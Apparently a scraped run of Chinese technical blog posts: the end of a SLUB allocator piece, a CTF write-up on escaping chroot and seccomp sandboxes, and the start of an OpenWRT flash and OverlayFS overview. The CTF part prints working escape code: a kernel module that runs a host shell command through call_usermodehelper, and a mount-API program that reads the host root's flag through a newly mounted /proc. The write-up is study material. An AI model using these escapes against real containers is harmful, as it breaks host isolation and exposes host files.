  上图对应了内核对象释放过程中的几个过程，其中红色代表对于per-node partial slab list的操作，相关操作需要请求kmem_cache_node.list_lock，橙色代表对于per-cpu partial slab list的操作，相关操作需要请求kmem_cache_cpu.lock，红色和橙色都代表的速度较慢，性能消耗较大的内核对象释放方式，其中kmem_cache_node.list_lock的性能损耗要高于kmem_cache_cpu.lock。同时，释放一个内核对象和释放多个内核对象在插入freelist上存在区别，假如释放一个内核对象，那么只需要将该内核对象放到对应的freelist的头部，如果是释放多个内核对象，一个detached freelist会被创建并将其组合到对应freelist的头部。

     本文简单介绍了内核对象的申请和释放原理，后续文章将结合实际代码进行调试分析。

参考链接

https://blogs.oracle.com/linux/post/linux-slub-allocator-internals-and-debugging-1

https://docs.kernel.org/locking/spinlocks.html

阅读原文

跳转微信打开

从CTF题目中学习容器逃逸

Container Escape

简介

  Linux权限控制一直都是一个很有意思的话题，在2023AAACTF里面看到了容器逃逸的题目，当时思考了半天也没有很大成果，比赛后一直工作也没好好复现，越来越觉得如果不参与一些高质量比赛，一些pwn的灵感也在不断衰弱，因此遂激励自己跟着战队积极参加国际比赛。

题目详情-babyescape

  根据官方的介绍，该体面参考了SECCON CTF 2022 Finals的babyescapse，因此也学习了一下这个题目。先看SECCON CTF 2022 Finals的babyescapse，该题目给了一个qemu环境和目标sandbox的源代码，源代码如下：

#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>
static void install_seccomp() {
  static unsigned char filter[] = {
    32,0,0,0,4,0,0,0,21,0,0,12,62,0,0,192,32,0,0,0,0,0,0,0,53,0,10,0,0,0,0,
    64,21,0,9,0,161,0,0,0,21,0,8,0,165,0,0,0,21,0,7,0,16,1,0,0,21,0,6,0,
    169,0,0,0,21,0,5,0,101,0,0,0,21,0,4,0,54,1,0,0,21,0,3,0,55,1,0,0,21,0,2,
    0,48,1,0,0,21,0,1,0,155,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0
  };
  struct prog {
    unsigned short len;
    unsigned char *filter;
  } rule = {
    .len = sizeof(filter) >> 3,
    .filter = filter
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) _exit(1);
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) _exit(1);
}
int main(void) {
  char *args[] = {"/bin/sh", NULL};
  if (chroot("sandbox")) {
    write(STDERR_FILENO, "chroot failed\n", 14);
    _exit(1);
  }
  if (chdir("sandbox")) {
    write(STDERR_FILENO, "chdir failed\n", 13);
    _exit(1);
  }
  install_seccomp();
  return execve(args[0], args, NULL);
}

简单看一下提供的qemu虚拟机，大概情况就是root用户 + 上面的sandbox，我这里选择直接用seccomp-tools来跑从题目的文件系统里面分离出来的sandbox二进制文件：

因此该题目的实际问题就是：如何越过chroot的文件系统隔离访问到主机上存在的flag文件。

看下chroot func就可以知道，这本身就不是一个安全的隔离func：

       chroot() changes the root directory of the calling process to
       that specified in path.  This directory will be used for
       pathnames beginning with /.  The root directory is inherited by
       all children of the calling process.
       Only a privileged process (Linux: one with the CAP_SYS_CHROOT
       capability in its user namespace) may call chroot().
       This call changes an ingredient in the pathname resolution
       process and does nothing else.  In particular, it is not intended
       to be used for any kind of security purpose, neither to fully
       sandbox a process nor to restrict filesystem system calls.  In
       the past, chroot() has been used by daemons to restrict
       themselves prior to passing paths supplied by untrusted users to
       system calls such as open(2).  However, if a folder is moved out
       of the chroot directory, an attacker can exploit that to get out
       of the chroot directory as well.  The easiest way to do that is
       to chdir(2) to the to-be-moved directory, wait for it to be moved
       out, then open a path like ../../../etc/passwd.
       A slightly trickier variation also works under some circumstances
       if chdir(2) is not permitted.  If a daemon allows a "chroot
       directory" to be specified, that usually means that if you want
       to prevent remote users from accessing files outside the chroot
       directory, you must ensure that folders are never moved out of
       it.
       This call does not change the current working directory, so that
       after the call '.' can be outside the tree rooted at '/'.  In
       particular, the superuser can escape from a "chroot jail" by
       doing:
           mkdir foo; chroot foo; cd ..
       This call does not close open file descriptors, and such file
       descriptors may allow access to files outside the chroot tree.

看下sandbox环境：

因此基本上也很难存在通过符号连接，或者匿名文件处理等方法来进行逃逸的可能，但是因为给的用户是root，所以基本上就是通过内核模块在底层进行对抗。查看了一下提供的qemu虚拟机，发现是linux 6.1.5，因此就拉取linux kernel源代码进行内核模块开发准备：

make defconfig 
make modules_prepare

首先，Linux fileSystem是树状结构，因此chroot的作用类似把一个子节点转换成一个根节点，因此在内核里面可以通过操作task_struct里面的fs_struct来操作进程所属的fileSystem，不过操作过程不能违反沙箱规则。下面是fs_struct code:

struct fs_struct {
    int users;
    spinlock_t lock;
    seqcount_spinlock_t seq;
    int umask;
    int in_exec;
    struct path root, pwd;
} __randomize_layout;

下面是chroot sys call :

SYSCALL_DEFINE1(chroot, const char __user *, filename)
{
    struct path path;
    int error;
    unsigned int lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
retry:
    error = user_path_at(AT_FDCWD, filename, lookup_flags, &path);
    if (error)
        goto out;
    error = path_permission(&path, MAY_EXEC | MAY_CHDIR);
    if (error)
        goto dput_and_out;
    error = -EPERM;
    if (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))
        goto dput_and_out;
    error = security_path_chroot(&path);
    if (error)
        goto dput_and_out;
    set_fs_root(current->fs, &path);
    error = 0;
dput_and_out:
    path_put(&path);
    if (retry_estale(error, lookup_flags)) {
        lookup_flags |= LOOKUP_REVAL;
        goto retry;
    }
out:
    return error;
}

可以看到通过set_fs_root进行了根目录设置，因此期待的解法就是通过内核模块操作sandbox进程改变它的fs_struct为主机fs_struct，使得sandbox进程可以访问主机全部的文件系统。

题目解法-babyescape

这个题的思路是从内核发起攻击，所以解法其实非常多。

解法一

  通过改变sandbox程序的task_struct的fs_struct成员，将其指向linux初始进程（比如systemd）的fs_struct，就可以实现chroot绕过，但是这里有一个难点：因为不同的kernel config会导致内核结构体成员的offset存在变化，因此需要对提供的bzImage进行逆向来进行针对目标的内核模块开发。

  因此内核逆向是一个难点，因为bzImage是没有符号的，可以通过vmlinux-to-elf进行恢复，一种确定结构体成员偏移的方法是通过类似的函数，比如chroot syscall中的set_fs_root函数。

SYSCALL_DEFINE1(chroot, const char __user *, filename)
{
    struct path path;
    int error;
    unsigned int lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY;
retry:
    error = user_path_at(AT_FDCWD, filename, lookup_flags, &path);
    if (error)
        goto out;
    error = path_permission(&path, MAY_EXEC | MAY_CHDIR);
    if (error)
        goto dput_and_out;
    error = -EPERM;
    if (!ns_capable(current_user_ns(), CAP_SYS_CHROOT))
        goto dput_and_out;
    error = security_path_chroot(&path);
    if (error)
        goto dput_and_out;
    set_fs_root(current->fs, &path);
    error = 0;
dput_and_out:
    path_put(&path);
    if (retry_estale(error, lookup_flags)) {
        lookup_flags |= LOOKUP_REVAL;
        goto retry;
    }
out:
    return error;
}

然后可以通过对比来确定偏移：

这样的话，就可以操作目标进程的task_struct的fs结构体成员，最终实现对于fs的替换。当然逆向总归是有点麻烦的，有时候可以通过linux kernel 提供的extract-ikconfig来提取编译好的内核配置，但是这要看对方编译内核的时候是否开启或者关闭了相应的配置。

CONFIG_IKCONFIG=y extract-ikconfi is ok!

CONFIG_IKCONFIG=m, the configuration in stored in a module (configs.ko)

/lib/modules/$(uname -r)/kernel/kernel/configs.ko

以下是linux kernel patch中的commit:

1. Include configuration in running kernel image. This adds to the
footprint of the running kernel but allows configuration to be retrieved
using "cat /proc/ikconfig/config".
2. Include configuration in kernel image file but not in the running
kernel. This adds to the kernel image file size but not the footprint of
running kernel. Configuration can be extracted from kernel image file
using scripts/extract-ikconfig. This script is in principle the same as
what Randy had written originally. I have made it little more robust and
structured it to accomodate more than just x86 architecture.
3. Not include kernel configuration in the running kernel or kernel
image file. 

解决了上述问题之后还有一个问题就是内核模块的编译，因为目标kernel版本的内核编译有时候还挺复杂的，需要注意kernel的C宏以及最好拉一个目标版本linux kernel的docker，然后用里面的gcc进行编译，可能它们之间已经存在一定的耦合了。

解法二

  上面的是个人的思路，官方的话，其实更简单一些，他们利用了kernel space 和 user space的交互：

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/random.h>
#include <asm/uaccess.h>
#define DEVICE_NAME "pwn"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Intended Solution for chr00t - SECCON 2022 Finals");
static int module_open(struct inode *inode, struct file *file) {
  int ret;
  char userprog[] = "/bin/sh";
  char *argv[] = {
    userprog, "-c",
    "/bin/cat /root/flag.txt > /sandbox/flag.txt", NULL
  };
  char *envp[] = {"HOME=/", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
  ret = call_usermodehelper(userprog, argv, envp, UMH_WAIT_EXEC);
  if (ret != 0)
    printk("pwn: failed with %d\n", ret);
  else
    printk("pwn: success\n");
  return 0;
}
static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .open  = module_open,
};
static int __init module_initialize(void) {
  register_chrdev(60, DEVICE_NAME, &module_fops);
  return 0;
}
static void __exit module_cleanup(void) {
  unregister_chrdev(60, DEVICE_NAME);
}
module_init(module_initialize);
module_exit(module_cleanup);

这样省去了offset对抗，不过在对此代码进行linux-kenrel-6.1.5编译的时候我发现一些奇怪的问题：

Makefile:

obj-m := pwn.o
BUILDROOT_PATH := /home/ptr/armoury/buildroot
KBUILD_DIR := ~/linux-6.1.5
all:
    $(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) modules
clean:
    $(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) clean

compile info里面包含一些奇怪的提示：

WARNING: Module.symvers is missing. Modules may not have dependencies or modversions. You may get many unresolved symbol warnings. WARNING: modpost: "call_usermodehelper" [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: "_printk" [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: "__x86_return_thunk" [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: "__stack_chk_fail" [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: "__register_chrdev" [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined! WARNING: modpost: "__unregister_chrdev" [/home/clock/CTF/ptr-SECCON-CTF-2022-Finals/pwnable/babyescape/solver/driver/pwn.ko] undefined!

编译好的内核在目标环境内插入的时候error:

insmod: can't insert 'pwn.ko': unknown symbol in module, or unknown parameter

查了下Module.symvers的作用：

Module. symvers contains all exported symbols from the kernel and compiled modules. For each symbol, the corresponding CRC value is also stored. The fields are separated by tabs and values may be empty (e.g. if no namespace is defined for an exported symbol).

所以就是在kernel export的符号里面没有包含module里面用到的函数？但是kernel code里面是能找到相关的api的时候，到这里就有点没有头绪了，不过既然是官方的exp，想必是官方已经编译通过且正常使用了，因此我怀疑会不会跟kernel configure等相关？希望知道的大佬可以指点迷津。

总结

  通过kernel module肯定可以做很多事情，不过要看seccomp是否对kernel load相关的syscall进行了限制。

题目详情-Young Man esCApe

  该题目出现在2023AAACTF里面，也是一个容器逃逸方向的题目，根据官方的描述，改题目的灵感就来自于上面的babyescape，不过其添加了更严格的seccomp限制：

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x44 0xc000003e  if (A != ARCH_X86_64) goto 0070
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x42 0x00 0x40000000  if (A >= 0x40000000) goto 0070
 0004: 0x15 0x41 0x00 0x000000a1  if (A == chroot) goto 0070
 0005: 0x15 0x40 0x00 0x000000a5  if (A == mount) goto 0070
 0006: 0x15 0x3f 0x00 0x00000110  if (A == unshare) goto 0070
 0007: 0x15 0x3e 0x00 0x000000a9  if (A == reboot) goto 0070
 0008: 0x15 0x3d 0x00 0x00000065  if (A == ptrace) goto 0070
 0009: 0x15 0x3c 0x00 0x00000136  if (A == process_vm_readv) goto 0070
 0010: 0x15 0x3b 0x00 0x00000137  if (A == process_vm_writev) goto 0070
 0011: 0x15 0x3a 0x00 0x00000130  if (A == open_by_handle_at) goto 0070
 0012: 0x15 0x39 0x00 0x0000009b  if (A == pivot_root) goto 0070
 0013: 0x15 0x38 0x00 0x000000a3  if (A == acct) goto 0070
 0014: 0x15 0x37 0x00 0x000000f8  if (A == add_key) goto 0070
 0015: 0x15 0x36 0x00 0x00000141  if (A == bpf) goto 0070
 0016: 0x15 0x35 0x00 0x00000131  if (A == clock_adjtime) goto 0070
 0017: 0x15 0x34 0x00 0x000000e3  if (A == clock_settime) goto 0070
 0018: 0x15 0x33 0x00 0x00000038  if (A == clone) goto 0070
 0019: 0x15 0x32 0x00 0x000000ae  if (A == create_module) goto 0070
 0020: 0x15 0x31 0x00 0x000000b0  if (A == delete_module) goto 0070
 0021: 0x15 0x30 0x00 0x00000139  if (A == finit_module) goto 0070
 0022: 0x15 0x2f 0x00 0x000000b1  if (A == get_kernel_syms) goto 0070
 0023: 0x15 0x2e 0x00 0x000000ef  if (A == get_mempolicy) goto 0070
 0024: 0x15 0x2d 0x00 0x000000af  if (A == init_module) goto 0070
 0025: 0x15 0x2c 0x00 0x000000ad  if (A == ioperm) goto 0070
 0026: 0x15 0x2b 0x00 0x000000ac  if (A == iopl) goto 0070
 0027: 0x15 0x2a 0x00 0x00000138  if (A == kcmp) goto 0070
 0028: 0x15 0x29 0x00 0x00000140  if (A == kexec_file_load) goto 0070
 0029: 0x15 0x28 0x00 0x000000f6  if (A == kexec_load) goto 0070
 0030: 0x15 0x27 0x00 0x000000fa  if (A == keyctl) goto 0070
 0031: 0x15 0x26 0x00 0x000000d4  if (A == lookup_dcookie) goto 0070
 0032: 0x15 0x25 0x00 0x000000ed  if (A == mbind) goto 0070
 0033: 0x15 0x24 0x00 0x00000117  if (A == move_pages) goto 0070
 0034: 0x15 0x23 0x00 0x0000012f  if (A == name_to_handle_at) goto 0070
 0035: 0x15 0x22 0x00 0x000000b4  if (A == nfsservctl) goto 0070
 0036: 0x15 0x21 0x00 0x0000012a  if (A == perf_event_open) goto 0070
 0037: 0x15 0x20 0x00 0x00000087  if (A == personality) goto 0070
 0038: 0x15 0x1f 0x00 0x000000b2  if (A == query_module) goto 0070
 0039: 0x15 0x1e 0x00 0x000000b3  if (A == quotactl) goto 0070
 0040: 0x15 0x1d 0x00 0x000000f9  if (A == request_key) goto 0070
 0041: 0x15 0x1c 0x00 0x000000ee  if (A == set_mempolicy) goto 0070
 0042: 0x15 0x1b 0x00 0x00000134  if (A == setns) goto 0070
 0043: 0x15 0x1a 0x00 0x000000a4  if (A == settimeofday) goto 0070
 0044: 0x15 0x19 0x00 0x000000a7  if (A == swapon) goto 0070
 0045: 0x15 0x18 0x00 0x000000a8  if (A == swapoff) goto 0070
 0046: 0x15 0x17 0x00 0x0000008b  if (A == sysfs) goto 0070
 0047: 0x15 0x16 0x00 0x0000009c  if (A == _sysctl) goto 0070
 0048: 0x15 0x15 0x00 0x000000a6  if (A == umount2) goto 0070
 0049: 0x15 0x14 0x00 0x00000086  if (A == uselib) goto 0070
 0050: 0x15 0x13 0x00 0x00000143  if (A == userfaultfd) goto 0070
 0051: 0x15 0x12 0x00 0x00000088  if (A == ustat) goto 0070
 0052: 0x15 0x11 0x00 0x000001b3  if (A == 0x1b3) goto 0070
 0053: 0x15 0x10 0x00 0x000001b2  if (A == 0x1b2) goto 0070
 0054: 0x15 0x0f 0x00 0x000001b6  if (A == 0x1b6) goto 0070
 0055: 0x15 0x0e 0x00 0x000001a8  if (A == 0x1a8) goto 0070
 0056: 0x15 0x0d 0x00 0x0000013d  if (A == seccomp) goto 0070
 0057: 0x15 0x0c 0x00 0x0000009d  if (A == prctl) goto 0070
 0058: 0x15 0x0b 0x00 0x0000009e  if (A == arch_prctl) goto 0070
 0059: 0x15 0x0a 0x00 0x000000ae  if (A == create_module) goto 0070
 0060: 0x15 0x09 0x00 0x000000af  if (A == init_module) goto 0070
 0061: 0x15 0x08 0x00 0x000000b0  if (A == delete_module) goto 0070
 0062: 0x15 0x07 0x00 0x000000b1  if (A == get_kernel_syms) goto 0070
 0063: 0x15 0x06 0x00 0x000000b2  if (A == query_module) goto 0070
 0064: 0x15 0x05 0x00 0x000000d5  if (A == epoll_create) goto 0070
 0065: 0x15 0x04 0x00 0x00000123  if (A == epoll_create1) goto 0070
 0066: 0x15 0x03 0x00 0x000001a9  if (A == 0x1a9) goto 0070
 0067: 0x15 0x02 0x00 0x000001aa  if (A == 0x1aa) goto 0070
 0068: 0x15 0x01 0x00 0x000001ab  if (A == 0x1ab) goto 0070
 0069: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0070: 0x06 0x00 0x00 0x00000000  return KILL

可以看到该题目增加了很多关于kernel module的限制，导致我们无法通过insmod进行kernel module加载，这种情况下一般需要通过拼凑不同的syscall功能来实现被禁止的syscall功能，这里考的其实就是linux 6新出的syscall，可以大致贴一下exp，一看就懂了基本：

void _start(void) {
    int fsfd, mfd;
    fsfd = fsopen("proc", FSOPEN_CLOEXEC);
    if (fsfd < 0) _exit(1);
    //fsconfig(fsfd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
    fsconfig(fsfd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
    mfd = fsmount(fsfd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
    close(fsfd);
    mkdir("/mnt", 0777);
    if (move_mount(mfd, "", AT_FDCWD, "/mnt", MOVE_MOUNT_F_EMPTY_PATH) < 0) _exit(2);
    close(mfd);
    int fd = open("/mnt/1/root/flag", O_RDONLY);
    if (fd >= 0) {
            char buf[100];
            int len = read(fd, buf, 100);
            write(1, buf, len);
            close(fd);
    }
    _exit(0);
}

不过还有一个比较有意思就是官方对于exp size的最小化处理，如果是我的话可能就直接gcc static了，但是作者为了方便传输使用了很方便的汇编级写法，觉得可以借鉴一下：

#/bin/bash
gcc -S src.c -fno-asynchronous-unwind-tables -Os -mavx -msse -mavx2 -ffast-math -fno-stack-protector -fomit-frame-pointer -fsingle-precision-constant  -fno-verbose-asm -fno-unroll-loops -nodefaultlibs 
cp src.s shim.s
sed -i -e "s/main/_start/g" shim.s
sed -i -e "s/\.size.*//g" shim.s
sed -i -e "s/\.ident.*//g" shim.s
sed -i -e "s/\.section.*//g" shim.s
#sed -i "s/pushq.*//g" shim.s
sed -i "s/.align 4//g" shim.s
sed -i "s/.align 16//g" shim.s
sed -i "s/.align 32//g" shim.s
sed -i "s/.size main, .-main//g" shim.s
sed -i "s/movl \$1, %edx/mov \$1, %dl/g" shim.s
sed -i "s/vmovdqa/vmovdqu/g" shim.s
sed -i "s/endbr64//g" shim.s
sed -i "s/movsbq %r11b, %r11//g" shim.s
sed -i "s/movslq %ecx, %rcx//g" shim.s
# sed -i -e "s/\.string.*//g" shim.s
as --64 -ac -ad -an --statistics -o shim.o shim.s # syscall.s 
ld -N --no-demangle -x -s -Os --cref -o shim shim.o
wc -c shim
strip shim
wc -c shim
sstrip  shim
wc -c shim
python -c "import os; f = os.popen('wc -c shim'); fsize = int(f.read().split(' ')[0]); print('new_len:',((((fsize + 8) / 64) + 1) * 64) - 8);print('fsize<<3:',fsize << 3);"
sha256sum shim
rm -rf ./*.o
# ./shim

#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <linux/mount.h>
#include <linux/unistd.h>
#ifndef SYS_fsopen
#define SYS_fsopen 430
#endif
#ifndef SYS_fsmount
#define SYS_fsmount 432
#endif
#ifndef SYS_fsconfig
#define SYS_fsconfig 431
#endif
#ifndef SYS_move_mount
#define SYS_move_mount 429
#endif
#ifndef O_TMPFILE
#define O_TMPFILE (020000000 | O_DIRECTORY)
#endif
long syscall(long number, ...) {
    va_list args;
    va_start(args, number);
    long _1 = va_arg(args, long);
    long _2 = va_arg(args, long);
    long _3 = va_arg(args, long);
    long _4 = va_arg(args, long);
    long _5 = va_arg(args, long);
    long _6 = va_arg(args, long);
    va_end(args);
    long retval;
    register long r10 __asm__ ("r10") = _4;
    register long r8  __asm__ ("r8")  = _5;
    register long r9  __asm__ ("r9")  = _6;
    __asm__ volatile ( "syscall"
             : "=a" (retval)
             : "a" (number), "D" (_1), "S" (_2), "d" (_3), "r" (r10), "r" (r8), "r" (r9)
             : "rcx", "r11", "cc", "memory");
    return retval;
}
int open(const char *path, int oflag, ...) {
    va_list args;
    va_start(args, oflag);
    mode_t mode = (oflag & (O_CREAT | O_TMPFILE)) ? va_arg(args, mode_t) : 0;
    va_end(args);
    return syscall(SYS_open, path, oflag, mode);
}
ssize_t read(int fd, void *buf, size_t nbytes) {
    return (ssize_t)syscall(SYS_read, fd, buf, nbytes);
}
ssize_t write(int fd, const void *buf, size_t nbytes) {
    return (ssize_t)syscall(SYS_write, fd, buf, nbytes);
}
int close(int fd) {
    return syscall(SYS_close, fd);
}
void _exit(int code) {
    while(1) syscall(SYS_exit, code);
}
int execve(const char *pathname, char *const argv[], char *const envp[]) {
    return syscall(SYS_execve, (long) pathname, (long) argv, (long) envp);
}
int fsopen(const char *fs_name, unsigned int flags) {
    return syscall(SYS_fsopen, (long) fs_name, (long) flags);
}
int fsmount(int fsfd, unsigned int flags, unsigned int ms_flags) {
    return syscall(SYS_fsmount, (long) fsfd, (long)  flags, (long) ms_flags);
}
int fsconfig(int fsfd, unsigned int cmd, const char *key, const void *value, int aux)
{
    return syscall(SYS_fsconfig, (long) fsfd, (long) cmd, (long) key, (long) value, (long) aux);
}
int move_mount(int from_dfd, const char *from_pathname, int to_dfd, const char *to_pathname, unsigned int flags) {
    return syscall(SYS_move_mount, (long) from_dfd, (long) from_pathname, (long) to_dfd,(long)  to_pathname, (long) flags);
}
int mkdir(const char *pathname, int mode) {
    return syscall(SYS_mkdir, (long) pathname, (long) mode);
}
void _start(void) {
    int fsfd, mfd;
    fsfd = fsopen("proc", FSOPEN_CLOEXEC);
    if (fsfd < 0) _exit(1);
    //fsconfig(fsfd, FSCONFIG_SET_STRING, "source", "/dev/sdb1", 0);
    fsconfig(fsfd, FSCONFIG_CMD_CREATE, NULL, NULL, 0);
    mfd = fsmount(fsfd, FSMOUNT_CLOEXEC, MOUNT_ATTR_RELATIME);
    close(fsfd);
    mkdir("/mnt", 0777);
    if (move_mount(mfd, "", AT_FDCWD, "/mnt", MOVE_MOUNT_F_EMPTY_PATH) < 0) _exit(2);
    close(mfd);
    int fd = open("/mnt/1/root/flag", O_RDONLY);
    if (fd >= 0) {
            char buf[100];
            int len = read(fd, buf, 100);
            write(1, buf, len);
            close(fd);
    }
    _exit(0);
}

感兴趣的可以看下，size差异如下：

同时关于chroot bypass有一个不错的ppt，里面有关于mount proc的详细描述：

https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf

阅读原文

跳转微信打开

OpenWRT中的Flash简析

OpenWRT中的Flash简析

前言

  目前越来越多的路由器、网关等设备选择使用OpenWRT进行开发，那么自然绕不开对OpenWRT一些传统的沿用。如软件层的UBUS、LUCI、UCI等还有硬件层的Flash存储的使用与布局。这里主要关注OpenWRT在flash方面的组织规格并讨论其对基于OpenWRT固件分析带来的作用。

Flash相关基础

  嵌入式设备一般使用flash芯片(即闪存)做为非易失性存储器，各大厂商路由器也不例外。闪存的好处是无噪音，寻址快，低功耗。但是也有缺点，对于同一个block必须在每次写入前对整个block进行擦除。flash由不同存储原理分为NOR flash与NAND flash。NOR flash允许随机逐字节访问，因此CPU可以直接从NOR flash执行代码，对于bootloader来说非常好，不必复制到内存就能执行。而目前市面最流行的是NAND flash，因为价格更低，但是需要专门的控制器访问，所以不能直接从flash执行代码，有时候flash中有坏块，可以通过硬件或软件来识别和去除坏块。这也是为什么Nor flash可以直接作为启动流程中的一部分。

Raw Flash vs FTL Flash

  在存储器中经常擦写的部分容易出现类似机械中的"磨损"情况，就算存储器中固定部分也会因为电磁效应出现"磨损"。也称之为Non-mechanical wear。在openwrt中根据flash芯片与SoC连接方式，分为两种情况：一种情况是raw flash/host-managed(或者直接称之为使用raw flash芯片)；此时flash芯片直接和SoC连接。还有一种就是两者之间需要经过一个额外的控制芯片，这种情况称为FTL (Flash Translation Layer) flash/self-managed(或者直接称之为使用FTL Flash芯片)；此时这个额外的控制器主要负责flash芯片的磨损均衡以及坏块管理。

注：绝大多数嵌入式系统属于raw flash情况，而电脑上使用的SSD硬盘和USB几乎属于FTL Flash情况。

NOR flash vs NAND flash

  一般路由器中使用的Raw NOR Flash的内存较小(4 MiB – 16 MiB)并且不会出现坏块情况(error-free)；而由于这种芯片error-free所以在此基础之上的系统、SquashFS、JFFS2都不需要考虑坏块管理。 因此使用堆叠技术SquashFS和JFFS2组成的OverlayFS在raw NOR flash配合使用几乎不会出差错。而对于使用Raw NAND flash(32 MiB – 256 MiB)的情况就需要考虑坏块了(由于nand flash的工艺不能保证nand的memory array在其生命周期中保持性能的可靠性，因此在生产和使用过程中会产生坏块)。一般解决方案包括：

• • raw NAND flash的生产厂商必须保证某部分区域是error-free的；这部分区域往往就是BootLoader、Kernel、SquashFS存放的地方(这就是固件的主要部分了，这部分就不是flash芯片厂商出厂的东西了而是用户，因此生产厂商需要保证并且告诉用户error-free区域在哪)

• • 控制固件大小

• • ubifs是一个新兴的应用于mtd上的有效的文件系统。可以有效的组织flash的坏块和负载平衡，同时提高访问速度，减小内存消耗，具有日志的功能，是JFFS2的后续增强版。对于Nand flash芯片，openwrt使用UBIFS管理整个Raw NAND flash，然后在openwrt系统之上的所有文件写都会通过UBIFS

Flash分区

  几乎所有嵌入式系统都包含raw flash芯片。并且他们并不会采用传统的MBR或PBR方式进行分区管理(master boot record (MBR)是存储设备中的一个特殊扇区用于记录该设备的分区情况并且可以包含可执行代码。)，而是通过linux内核(有时是BootLoader)完成。方式也很简单，例定义kernel区域起始地址为X结束于Y。并且用名字来寻址比直接给出起止地址更加方便。

一般来说flash的layout如下：

Linux overlayfs

  OverlayFS，顾名思义是一种堆叠文件系统，可以将多个目录的内容叠加到另一个目录上。OverlayFS并不直接涉及磁盘空间结构，看起来像是将多个目录的文件按照规则合并到同一个目录。且对多个源目录具体使用文件系统类型没有要求，即使各个源目录的文件系统类型不同也不影响使用。使用如下命令挂载一个OverlayFS文件系统：

mount -t overlay -o lowerdir=/lower1:/lower2,upperdir=/upper,workdir=/workoverlay /merged

  上面的命令可以将"lowerdir"和"upper"指定的目录堆叠到/merged目录，"workdir"指定的工作目录要求是和"upperdir"目录同一类型文件系统的空目录。lowerdir的多层目录使用":"分隔开，其中层级关系为/lower1> /lower2。示意图如下：

在使用如上mount进行OverlayFS合并之后，遵循如下规则：

• • lowerdir和upperdir两个目录存在同名文件时，lowerdir的文件将会被隐藏，用户只能看到upperdir的文件。

• • lowerdir低优先级的同目录同名文件将会被隐藏。

• • 如果存在同名目录，那么lowerdir和upperdir目录中的内容将会合并。

• • 当用户修改mergedir中来自upperdir的数据时，数据将直接写入upperdir中原来目录中，删除文件也同理。

• • 当用户修改mergedir中来自lowerdir的数据时，lowerdir中内容均不会发生任何改变。因为lowerdir是只读的，用户想修改来自lowerdir数据时，overlayfs会首先拷贝一份lowerdir中文件副本到upperdir中（这也被称作OverlayFS的copy-up特性）。后续修改或删除将会在upperdir下的副本中进行，lowerdir中原文件将会被隐藏。

• • 如果某一个目录单纯来自lowerdir或者lowerdir和upperdir合并，默认无法进行rename系统调用。但是可以通过mv重命名。如果要支持rename，需要CONFIG_OVERLAY_FS_REDIRECT_DIR。

  嵌入系统中(路由器中就很多)一般配合只读文件系统(SquashFS)作为lowerdir和可写文件系统(JFFS2)作为upperdir使用这一机制，效果就是似乎我们可以修改lowerdir下的文件或目录，lowerdir看上去变成了一个可读写的文件系统。

openwrt文件系统挂载流程

  内核从一个已知的原始闪存分区（没有文件系统，可理解为裸设备）启动，之后运行的内核会扫描rootmfs这个mtd分区查找一个有效的超级块，并挂载这个SquashFS分区（这个分区包含了/etc），挂载后执行/etc/preinit：

#!/bin/sh
# Copyright (C) 2006-2016 OpenWrt.org
# Copyright (C) 2010 Vertical Communications
[ -z "$PREINIT" ] && exec /sbin/init
export PATH="/usr/sbin:/usr/bin:/sbin:/bin"
# 类似c中的include
. /lib/functions.sh
. /lib/functions/preinit.sh
. /lib/functions/system.sh
#boot_hook_init list_name //初始化一个名字为list_name的回调列表 
boot_hook_init preinit_essential 
boot_hook_init preinit_main
boot_hook_init failsafe
boot_hook_init initramfs
boot_hook_init preinit_mount_root #boot_add_hook list_name cb_name 向名字为list_name的回调列表中添加一个回调函数cb_name
#从/lib/preinit/目录下按照名字顺序添加回调
for pi_source_file in /lib/preinit/*; do
    . $pi_source_file
done
boot_run_hook preinit_essential
pi_mount_skip_next=false
pi_jffs2_mount_success=false
pi_failsafe_net_message=false
boot_run_hook preinit_main #boot_run_hook list_name 调用回调列表list_name里面的回调函数

openwrt在/lib/preinit/下面存放的多数脚本是用于在preinit_main列表中添加回调如：

$ grep -rn 'preinit_main'             
99_10_run_init:9:boot_hook_add preinit_main run_init
70_initramfs_test:13:boot_hook_add preinit_main initramfs_test
02_sysinfo:10:boot_hook_add preinit_main do_sysinfo_generic
